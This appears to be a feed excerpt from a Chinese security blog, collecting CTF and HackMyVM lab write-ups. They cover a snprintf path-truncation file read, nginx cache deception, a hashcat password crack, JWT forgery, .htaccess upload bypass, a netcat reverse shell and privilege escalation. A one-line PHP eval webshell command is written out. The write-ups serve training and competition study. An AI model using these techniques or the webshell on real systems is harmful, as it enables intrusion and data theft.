&lt;p>&lt;img alt="image-20250514101735643" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514101735643.png">&lt;/p>
&lt;p>接着用sscanf将buffer里的内容用%s格式化后储存到requested_filename。例如我访问内容为http://127.0.0.1/index.php，那么requested_filename就为index.php&lt;/p>
&lt;p>&lt;img alt="image-20250514101759405" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514101759405.png">&lt;/p>
&lt;p>这里我在分析的时候比较疑惑为什么不是整个http请求包，而是只有一个index.php，其实仔细想想就会发现，%s会读以“空格”或“换行”为截断去读取内容，而此时buffer的内容应该长这样&lt;/p>
&lt;pre tabindex="0">&lt;code>GET /index.php HTTP/1.1\r\nHost: localhost\r\n...
&lt;/code>&lt;/pre>&lt;p>很明显后面有空格，所以就不会包含整个包体。算是用得挺巧妙的一个地方&lt;/p>
&lt;p>之后又是一个自定义函数，不过我们先不着急看它怎么实现，从样子上大概可以看出来它是用来返回500.html的页面内容&lt;/p>
&lt;p>&lt;img alt="image-20250514103037635" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514103037635.png">&lt;/p>
&lt;p>接着来到这句&lt;/p>
&lt;p>&lt;img alt="image-20250514103100182" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514103100182.png">&lt;/p>
&lt;p>FileWithSize是一个自定义结构体&lt;/p>
&lt;p>&lt;img alt="image-20250514103136709" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514103136709.png">&lt;/p>
&lt;p>也就是最后的返回值是这两个变量。read_file也是FileWithSize类型的自定义函数，跟进一下&lt;/p>
&lt;p>&lt;img alt="image-20250514103318616" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514103318616.png">&lt;/p>
&lt;p>上来又是一个自定义函数ends_with，继续跟进&lt;/p>
&lt;p>&lt;img alt="image-20250514103348064" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514103348064.png">&lt;/p>
&lt;p>一个很简单的判断逻辑，判断后缀名是否相等。这里strncmp函数作用是判断第一个参数位是否和第二个参数位相等，第三个参数位表示判断长度。不过这里当时看到字符串text和整型text_length拿来加减有点懵，经过查阅后得知C语言中字符数组如果被拿来加减，其实就会改变其指针指向的位置，这里的运算操作就恰好能让指针落在后缀名里的&lt;code>.&lt;/code>符号上，是第二个利用得很巧妙的地方&lt;/p>
&lt;p>因此我们可以得知只能用这四种后缀名。回到read_file&lt;/p>
&lt;p>&lt;img alt="image-20250514104009014" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514104009014.png">&lt;/p>
&lt;p>定义数组和赋值，snprintf意为将第四个参数位中的值和第三个参数位中的值拼接后，为第一个参数位输入第二个参数位的值的长度的值。也就是说我们不能为real_path输入超过1024个字符，包括&lt;code>public/&lt;/code>。并且，根据snprintf的特性，它允许输入的内容长度大于第二个参数位的值，甚至是第一个参数位的数组大小，因为它只会输入第二个参数位那么多的字符，这正是漏洞点。&lt;/p>
&lt;p>因为&lt;code>public/&lt;/code>恰好占了7个字符，如果我们将filename的数量控制在1019个字符（因为在handle_client中的sscanf存在一个&lt;code>/&lt;/code>，所以发包的时候记得从第一个&lt;code>/&lt;/code>之后开始算起），且最末尾为&lt;code>.js&lt;/code>（当然也可以是其他几个允许的后缀），这样就恰好能将.js排除在1024之外，并且根据后文的内容可以得知real_path为读取文件内容的路径，这样就能轻松地达到读取任意文件的目的&lt;/p>
&lt;p>&lt;img alt="image-20250514104809595" loading="lazy" src="https://redshome.top/posts/2025-05-13-ctf%E5%A4%8D%E7%8E%B0-2024hkcert-ctf%E7%BA%BF%E4%B8%8A%E8%B5%9B-web%E5%85%A8%E6%96%B9%E5%90%91/image-20250514104809595.png">&lt;/p>
&lt;h2 id="已知用火-2--custom-web-server-2">已知用火 (2) / Custom Web Server (2)&lt;/h2>
&lt;p>为了彻底搞清楚这题的原理，耗了我很久的时间去验证read从socket缓冲区写入到buffer中的字节数以及发包个数。并且到我发稿前在网上并没有找到漏洞利用的详细说明，大部分wp认为填充字节是为了绕过nginx，其实并不是，且没有对为什么要发送三个包作出详细说明。接下来我们来仔细分析一下&lt;/p></description></item><item><title>HMV NoPort | Writeup</title><link>https://redshome.top/posts/2025-04-24-hmv-noport-writeup/</link><pubDate>Wed, 09 Apr 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-04-24-hmv-noport-writeup/</guid><description>&lt;p>主机发现后先扫一下端口&lt;/p>
&lt;p>&lt;img alt="image-20250421151733412" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421151733412.png">&lt;/p>
&lt;p>只有一个80端口，接着扫目录&lt;/p>
&lt;p>&lt;img alt="image-20250421145923938" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421145923938.png">&lt;/p>
&lt;p>发现有.git，直接githack下来&lt;/p>
&lt;p>&lt;img alt="image-20250421150127938" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421150127938.png">&lt;/p>
&lt;p>会发现有一个swp状态的文件&lt;/p>
&lt;p>&lt;img alt="image-20250421150139857" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421150139857.png">&lt;/p>
&lt;p>先&lt;code>vim -r .test.php.swp&lt;/code>恢复一下，然后复制保存，把所有clone下来的东西拖到vscode里开始审计&lt;/p>
&lt;p>先来看看nginx和apache，因为一般会起两个服务并且题目只提供一个端口应该是有前后关系&lt;/p>
&lt;p>&lt;img alt="image-20250421150317782" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421150317782.png">&lt;/p>
&lt;p>nginx.conf里可以看到用户为www-data，启用了proxy_cache，也就是会把访问的内容缓存。但缓存了什么以及如何触发缓存还不知，继续往下看&lt;/p>
&lt;p>&lt;img alt="image-20250421150334609" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421150334609.png">&lt;/p>
&lt;p>引用了ctf.conf&lt;/p>
&lt;p>&lt;img alt="image-20250421150417638" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421150417638.png">&lt;/p>
&lt;p>可以看到80端口做了哪些路由。访问index.php和一些静态文件后缀的路径都会被跳到&lt;code>127.0.0.1:8080&lt;/code>，并且配置文件里没有提到是nginx起的php-fpm，再结合有个apache，因此推测内部拓补大概就长这样&lt;/p>
&lt;p>&lt;img alt="image-20250421150439998" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421150439998.png">&lt;/p>
&lt;p>并且可以发现，nginx会将你访问的静态文件缓存下来，这样这里的nginx就起到了一个类似CDN的作用。那么接下来就开始审php&lt;/p>
&lt;p>在index.php可以归结出3种路由&lt;/p>
&lt;p>第一种是visit&lt;/p>
&lt;p>&lt;img alt="image-20250421150454135" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421150454135.png">&lt;/p>
&lt;p>可以看到这个路径主要作用是去访问test.php，这个放到一会儿再看。&lt;/p>
&lt;p>第二种是login，这个没什么好说，就是判断是否正确登陆，成功后跳转到一个叫sh3ll.php的地方&lt;/p>
&lt;p>第三种是其他路径，也就是除了上面两种路径以外的路径。不过这里面又分了两种小路由，并且想要触发这两个路由都需要在通过验证的情况下才可以进入&lt;/p>
&lt;p>&lt;img alt="image-20250421150505012" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421150505012.png">&lt;/p>
&lt;p>一种是路径中带profile字样，就给你放回你当前来访问这个路由的用户的账号信息，包括密码&lt;/p>
&lt;p>&lt;img alt="image-20250421150516991" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421150516991.png">&lt;/p>
&lt;p>&lt;img alt="image-20250421150527690" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421150527690.png">&lt;/p>
&lt;p>第二种是直接去访问路径里的其他文件&lt;/p>
&lt;p>&lt;img alt="image-20250421150543489" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421150543489.png">&lt;/p>
&lt;p>接下来看一下test.php。日志的文件名被写死，基本不可能利用写入恶意代码的方式。&lt;/p>
&lt;p>&lt;img alt="image-20250421150607485" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421150607485.png">&lt;/p>
&lt;p>接下去是调用bot_runner函数，这个函数在调用上面的login_and_get_cookie函数去获取admin的cookie后，允许你携带管理员的cookie去访问你给的uri。&lt;/p>
&lt;p>我们可以发现，虽然bot_runner函数会帮我们访问没错，但是并不会携带访问结果，也就是你看不到respones，所以要想办法把结果带出来。这个时候就要用到nginx里的缓存功能，设想一下，如果我们能将respones保存在一个静态文件里，不就可以看了吗？&lt;/p>
&lt;p>所以我们可以构造这样一个payload&lt;/p>
&lt;pre tabindex="0">&lt;code>uri=profile/1.css
&lt;/code>&lt;/pre>&lt;p>可以设想一下，当管理员访问了profile后，php会返回密码，而nginx则会认为&lt;code>profile/1&lt;/code>是一个css文件的文件名从而将页面内容缓存下来，这样只要我们访问&lt;code>profile/1.css&lt;/code>就能得到结果&lt;/p>
&lt;p>&lt;img alt="image-20250421150840311" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421150840311.png">&lt;/p>
&lt;p>拿到密码后发现直接用这串密码是sha256加密过的，需要爆破&lt;/p>
&lt;p>把密码存进hash文件里，直接上rockyou&lt;/p>
&lt;pre tabindex="0">&lt;code>hashcat -m 1400 -a 0 hash rockyou.txt
&lt;/code>&lt;/pre>&lt;p>得到明文&lt;code>starbucks&lt;/code>&lt;/p>
&lt;p>登陆后看到可以执行命令&lt;/p>
&lt;p>&lt;img alt="image-20250421151119852" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421151119852.png">&lt;/p>
&lt;p>直接写一句马上蚁剑&lt;/p>
&lt;pre tabindex="0">&lt;code>echo -n &amp;#39;&amp;lt;?php eval($_POST[1]);?&amp;gt;&amp;#39; &amp;gt; 1.php
&lt;/code>&lt;/pre>&lt;p>&lt;img alt="image-20250421151319591" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421151319591.png">&lt;/p>
&lt;p>在/var/www看到一个文件pass&lt;/p>
&lt;p>&lt;img alt="image-20250421151344333" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421151344333.png">&lt;/p>
&lt;p>翻译过来就是用户密码就是前面我们拿到的那个登录密码，尝试直接su会发现没有权限，所以应该是有别的方法。在/opt/hello下发现一个readme&lt;/p>
&lt;p>&lt;img alt="image-20250421152001818" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421152001818.png">&lt;/p>
&lt;p>翻译过来就是nginx会随着机器的重启而重启，下面附了一个建议，建议我们先在本地测试好nginx配置以免因配置错误导致服务崩溃&lt;/p>
&lt;p>并在home下发现用户名&lt;/p>
&lt;p>&lt;img alt="image-20250421153118741" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421153118741.png">&lt;/p>
&lt;p>先看一下sudo -l，发现可以reboot&lt;/p>
&lt;p>&lt;img alt="image-20250421152139707" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421152139707.png">&lt;/p>
&lt;p>并且发现ssh服务，但是监听的是127，所以要想办法把这个端口映射出去&lt;/p>
&lt;p>那就到nginx配置目录下看看&lt;/p>
&lt;p>&lt;img alt="image-20250421152214030" loading="lazy" src="https://redshome.top/posts/2025-04-24-hmv-noport-writeup/images/image-20250421152214030.png">&lt;/p></description></item><item><title>HMV Tryharder | Writeup</title><link>https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/</link><pubDate>Wed, 09 Apr 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/</guid><description>&lt;p>第一个一血，记录一下&lt;/p>
&lt;p>&lt;img alt="image-20250409165501329" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409165501329.png">&lt;/p>
&lt;h2 id="foothood">Foothood&lt;/h2>
&lt;p>打开后发现有一个API调试路径&lt;/p>
&lt;p>&lt;img alt="image-20250409165703192" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409165703192.png">&lt;/p>
&lt;p>&lt;img alt="image-20250409165740376" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409165740376.png">&lt;/p>
&lt;p>进来后是一个登录框&lt;/p>
&lt;p>&lt;img alt="image-20250409170111630" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409170111630.png">接着bp直接爆破，&lt;/p>
&lt;p>&lt;img alt="image-20250409170234841" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409170234841.png">&lt;/p>
&lt;p>&lt;img alt="image-20250409170415488" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409170415488.png">&lt;/p>
&lt;p>进来后抓个包发现是jwt&lt;/p>
&lt;p>&lt;img alt="image-20250409170356228" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409170356228.png">&lt;/p>
&lt;p>直接丢到jwt.io看一下&lt;/p>
&lt;p>&lt;img alt="image-20250409170516930" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409170516930.png">&lt;/p>
&lt;p>很典的HS256，空密钥改admin，然后丢jwt_tool里先梭一把试试&lt;/p>
&lt;p>&lt;img alt="image-20250409170852573" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409170852573.png">&lt;/p>
&lt;p>&lt;img alt="image-20250409171522108" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409171522108.png">&lt;/p>
&lt;p>&lt;img alt="image-20250409171544474" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409171544474.png">&lt;/p>
&lt;p>上来了，接着直接传马发现不对劲&lt;/p>
&lt;p>&lt;img alt="image-20250409171615319" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409171615319.png">&lt;/p>
&lt;p>上.htaccess&lt;/p>
&lt;p>&lt;img alt="image-20250409171643582" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409171643582.png">&lt;/p>
&lt;p>&lt;img alt="image-20250409171702584" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409171702584.png">&lt;/p>
&lt;p>拿下&lt;/p>
&lt;p>&lt;img alt="image-20250409171722101" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409171722101.png">&lt;/p>
&lt;p>连蚁剑，方便后面操作&lt;/p>
&lt;p>&lt;img alt="image-20250409171756475" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409171756475.png">&lt;/p>
&lt;p>直接冲/home，看一下能不能读，发现可以直接读flag&lt;/p>
&lt;p>&lt;img alt="image-20250409171843439" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409171843439.png">&lt;/p>
&lt;h2 id="提权---pentester">提权 - pentester&lt;/h2>
&lt;p>接着应该就是要想办法先拿到pentester，看一下/etc/passwd&lt;/p>
&lt;p>&lt;img alt="image-20250409172005520" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409172005520.png">&lt;/p>
&lt;p>看不懂思密达，丢给d老师问一下&lt;/p>
&lt;p>&lt;img alt="image-20250409172050879" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409172050879.png">&lt;/p>
&lt;p>感觉没啥用，那就只能继续信息搜集。这里卡了好一会儿，直到去opt逛了逛，发现他们几个&lt;/p>
&lt;p>&lt;img alt="image-20250409172246882" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409172246882.png">&lt;/p>
&lt;p>有nc，先弹个shell&lt;/p>
&lt;p>&lt;img alt="image-20250409172318728" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409172318728.png">&lt;/p>
&lt;p>跑一下pty，再跑一下pspy64&lt;/p>
&lt;p>&lt;img alt="image-20250409172406848" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409172406848.png">&lt;/p>
&lt;p>发现srv下面有东西，去看看&lt;/p>
&lt;p>&lt;img alt="image-20250409172436220" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409172436220.png">&lt;/p>
&lt;p>（这是在致敬2025 CCB吗= =）&lt;/p>
&lt;p>&lt;img alt="image-20250409172505546" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409172505546.png">&lt;/p>
&lt;p>拿刚才GECOS里的文本对照一下&lt;/p>
&lt;p>&lt;img alt="image-20250409172801233" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409172801233.png">&lt;/p>
&lt;p>发现有些字符不一样，就可以联想到二进制，一样的是1，不一样的是0（或者一样的是0，不一样的是1，两个我都试了一下）让d老师搓一个脚本对比就行&lt;/p>
&lt;p>&lt;img alt="image-20250409174026355" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409174026355.png">&lt;/p>
&lt;p>&lt;img alt="image-20250409174011040" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409174011040.png">&lt;/p>
&lt;p>&lt;img alt="image-20250409173936345" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409173936345.png">&lt;/p>
&lt;p>&lt;img alt="image-20250409174233758" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409174233758.png">&lt;/p>
&lt;h2 id="提取---xiix">提取 - xiix&lt;/h2>
&lt;p>发现没有netstat，那就直接上fscan&lt;/p>
&lt;p>&lt;img alt="image-20250409174538998" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409174538998.png">&lt;/p>
&lt;p>有个8989，并且联想到刚才被xiix执行的backdoor.py，直接nc梭一波试试&lt;/p>
&lt;p>&lt;img alt="image-20250409174627999" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409174627999.png">&lt;/p>
&lt;h2 id="提权---root">提权 - root&lt;/h2>
&lt;p>写authorized_keys上来后，发现有个guess_game，跑一下&lt;/p>
&lt;p>&lt;img alt="image-20250409175204268" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409175204268.png">&lt;/p>
&lt;p>emm运气得留在更重要的地方🙏所以找找有没有别的办法，因为是游戏，所以第一时间想到可能留有后门。看一下env&lt;/p>
&lt;p>&lt;img alt="image-20250409175336284" loading="lazy" src="https://redshome.top/posts/2025-04-09-hmv-tryharder-writeup/images/image-20250409175336284.png">&lt;/p>
&lt;p>有个1337，试试？&lt;/p></description></item><item><title>24-25下半学年第二次线上赛 | Writeup</title><link>https://redshome.top/posts/2025-03-31-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/</link><pubDate>Mon, 31 Mar 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-03-31-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/</guid><description>&lt;h2 id="莫斯档案馆">莫斯档案馆&lt;/h2>
&lt;p>每一层有一个pwd.png和一个压缩包，pwd.png是一个彩色条纹和圆点的非常小的图像，也就是摩斯密码，套了很多很多层，写脚本去识别摩斯密码，并递归解压。&lt;/p>
&lt;pre tabindex="0">&lt;code>from PIL import Image
import re
def getMorse(image):
&amp;#34;&amp;#34;&amp;#34;
从图像中提取莫尔斯电码
假定背景颜色是固定的，莫尔斯电码具有不同的颜色。
莫尔斯电码可以是任何颜色，只要它与左上像素的颜色不同。
&amp;gt;&amp;gt;&amp;gt; getMorse(&amp;#39;pwd.png&amp;#39;)
[&amp;#39;----.&amp;#39;]
&amp;#34;&amp;#34;&amp;#34;
im = Image.open(image, &amp;#39;r&amp;#39;)
chars = []
background = im.getdata()[0]
for i, v in enumerate(list(im.getdata())):
if v == background:
chars.append(&amp;#34; &amp;#34;)
else:
chars.append(&amp;#34;*&amp;#34;)
output = &amp;#34;&amp;#34;.join(chars)
# 清理输出，去除前后的空白
# 然后将每组3个星号转换为短横线
# 将星号转换为实际的点
# 将字母之间的空格（即&amp;gt;1个背景像素）转换为分隔符
# 删除空白
# 返回字母的列表
output = re.sub(r&amp;#39;^\s*&amp;#39;, &amp;#39;&amp;#39;, output)
output = re.sub(r&amp;#39;\s*$&amp;#39;, &amp;#39;&amp;#39;, output)
output = re.sub(r&amp;#39;\*{3}&amp;#39;, &amp;#39;-&amp;#39;, output)
output = re.sub(r&amp;#39;\*&amp;#39;, &amp;#39;.&amp;#39;, output)
output = re.sub(r&amp;#39;\s{2,}&amp;#39;, &amp;#39; | &amp;#39;, output)
output = re.sub(r&amp;#39;\s&amp;#39;, &amp;#39;&amp;#39;, output)
output = output.split(&amp;#39;|&amp;#39;)
return output
def getPassword(morse):
&amp;#34;&amp;#34;&amp;#34;
解码莫尔斯电码
将莫尔斯电码转换回文本。
以字母列表为输入，返回转换后的文本。
注意，挑战使用小写字母。
&amp;gt;&amp;gt;&amp;gt; getPassword([&amp;#39;----.&amp;#39;])
&amp;#39;9&amp;#39;
&amp;#34;&amp;#34;&amp;#34;
MORSE_CODE_DICT = {
&amp;#39;.-&amp;#39;: &amp;#39;A&amp;#39;, &amp;#39;-...&amp;#39;: &amp;#39;B&amp;#39;, &amp;#39;-.-.&amp;#39;: &amp;#39;C&amp;#39;, &amp;#39;-..&amp;#39;: &amp;#39;D&amp;#39;,
&amp;#39;.&amp;#39;: &amp;#39;E&amp;#39;, &amp;#39;..-.&amp;#39;: &amp;#39;F&amp;#39;, &amp;#39;--.&amp;#39;: &amp;#39;G&amp;#39;, &amp;#39;....&amp;#39;: &amp;#39;H&amp;#39;,
&amp;#39;..&amp;#39;: &amp;#39;I&amp;#39;, &amp;#39;.---&amp;#39;: &amp;#39;J&amp;#39;, &amp;#39;-.-&amp;#39;: &amp;#39;K&amp;#39;, &amp;#39;.-..&amp;#39;: &amp;#39;L&amp;#39;,
&amp;#39;--&amp;#39;: &amp;#39;M&amp;#39;, &amp;#39;-.&amp;#39;: &amp;#39;N&amp;#39;, &amp;#39;---&amp;#39;: &amp;#39;O&amp;#39;, &amp;#39;.--.&amp;#39;: &amp;#39;P&amp;#39;,
&amp;#39;--.-&amp;#39;: &amp;#39;Q&amp;#39;, &amp;#39;.-.&amp;#39;: &amp;#39;R&amp;#39;, &amp;#39;...&amp;#39;: &amp;#39;S&amp;#39;, &amp;#39;-&amp;#39;: &amp;#39;T&amp;#39;,
&amp;#39;..-&amp;#39;: &amp;#39;U&amp;#39;, &amp;#39;...-&amp;#39;: &amp;#39;V&amp;#39;, &amp;#39;.--&amp;#39;: &amp;#39;W&amp;#39;, &amp;#39;-..-&amp;#39;: &amp;#39;X&amp;#39;,
&amp;#39;-.--&amp;#39;: &amp;#39;Y&amp;#39;, &amp;#39;--..&amp;#39;: &amp;#39;Z&amp;#39;, &amp;#39;-----&amp;#39;: &amp;#39;0&amp;#39;, &amp;#39;.----&amp;#39;: &amp;#39;1&amp;#39;,
&amp;#39;..---&amp;#39;: &amp;#39;2&amp;#39;, &amp;#39;...--&amp;#39;: &amp;#39;3&amp;#39;, &amp;#39;....-&amp;#39;: &amp;#39;4&amp;#39;, &amp;#39;.....&amp;#39;: &amp;#39;5&amp;#39;,
&amp;#39;-....&amp;#39;: &amp;#39;6&amp;#39;, &amp;#39;--...&amp;#39;: &amp;#39;7&amp;#39;, &amp;#39;---..&amp;#39;: &amp;#39;8&amp;#39;, &amp;#39;----.&amp;#39;: &amp;#39;9&amp;#39;,
&amp;#39;-..-.&amp;#39;: &amp;#39;/&amp;#39;, &amp;#39;.-.-.-&amp;#39;: &amp;#39;.&amp;#39;, &amp;#39;-.--.-&amp;#39;: &amp;#39;)&amp;#39;, &amp;#39;..--..&amp;#39;: &amp;#39;?&amp;#39;,
&amp;#39;-.--.&amp;#39;: &amp;#39;(&amp;#39;, &amp;#39;-....-&amp;#39;: &amp;#39;-&amp;#39;, &amp;#39;--..--&amp;#39;: &amp;#39;,&amp;#39;
}
for item in morse:
return &amp;#34;&amp;#34;.join([MORSE_CODE_DICT.get(item) for item in morse]).lower()
def main():
&amp;#34;&amp;#34;&amp;#34;
自动启动
用于自动化。
自动调用方法并使用&amp;#39;pwd.png&amp;#39;作为输入图像。
&amp;#34;&amp;#34;&amp;#34;
print(getPassword(getMorse(&amp;#34;pwd.png&amp;#34;)))
if __name__ == &amp;#34;__main__&amp;#34;:
main()
&lt;/code>&lt;/pre>&lt;p>并使用sh脚本去循环执行&lt;/p></description></item><item><title>2025长城杯半决赛 | Writeup</title><link>https://redshome.top/posts/2025-03-18-2025%E9%95%BF%E5%9F%8E%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B-writeup/</link><pubDate>Tue, 18 Mar 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-03-18-2025%E9%95%BF%E5%9F%8E%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B-writeup/</guid><description>&lt;h2 id="awdp">AWDP&lt;/h2>
&lt;h3 id="ccforum">CCforum&lt;/h3>
&lt;p>粗略审计后大概可以知道应该是要先登陆进admin.php，但sql语句全部做了预编译所以没法注入，试了一下通过爆破可以获取到admin.php的账号密码。登陆进去后再看有什么利用点&lt;/p>
&lt;p>入口没有什么特别的，可以直接先看到login的逻辑&lt;/p>
&lt;p>&lt;img alt="image-20250318193846731" loading="lazy" src="https://redshome.top/posts/2025-03-18-2025%E9%95%BF%E5%9F%8E%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B-writeup/image-20250318193846731.png">&lt;/p>
&lt;p>可以看到把通过验证的用户名写到了session里，接着看reply.php和post.php会发现都有一个敏感词过滤。并且他们调用的$username都是session里的明文用户名&lt;/p>
&lt;p>&lt;img alt="image-20250318194012064" loading="lazy" src="https://redshome.top/posts/2025-03-18-2025%E9%95%BF%E5%9F%8E%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B-writeup/image-20250318194012064.png">&lt;/p>
&lt;p>&lt;img alt="image-20250318194049873" loading="lazy" src="https://redshome.top/posts/2025-03-18-2025%E9%95%BF%E5%9F%8E%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B-writeup/image-20250318194049873.png">&lt;/p>
&lt;p>跟进到config.php看这两个函数&lt;/p>
&lt;p>&lt;img alt="image-20250318194140132" loading="lazy" src="https://redshome.top/posts/2025-03-18-2025%E9%95%BF%E5%9F%8E%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B-writeup/image-20250318194140132.png">&lt;/p>
&lt;p>可以看到record_banned函数里主要干了三件事&lt;/p>
&lt;ol>
&lt;li>拿用户名base64的结果创建目录&lt;/li>
&lt;li>判断是否创建成功，如果创建成功就正常写入被过滤的敏感词。创建失败有两个分支，一个是文件夹创建失败，会把用户名明文拿去和日志信息做拼接；一个是banned日志文件创建失败，直接写入一串信息，没有拼接。&lt;/li>
&lt;li>最后将第二点走完的结果用log_action函数写到总日志里（这里又个很容易掉进去的陷阱，就是日志其实是有两份的，一个是总日志access.log，一个是banned日志。我们能作拼接任意写入操作的其实是总日志。）&lt;/li>
&lt;/ol>
